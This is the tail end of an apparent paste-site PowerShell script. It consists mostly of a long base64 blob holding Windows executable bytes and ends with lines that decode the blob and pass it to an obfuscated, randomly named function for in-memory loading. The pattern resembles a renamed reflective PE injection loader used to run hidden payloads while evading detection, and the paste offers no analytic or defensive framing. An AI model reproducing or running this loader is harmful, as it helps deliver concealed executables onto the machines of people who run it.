AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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"
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
Invoke-FNSYUXEKIQITFJP -PEBytes $PEBytes

}
close fullscreen
Login or Register to edit or fork this paste. It's free.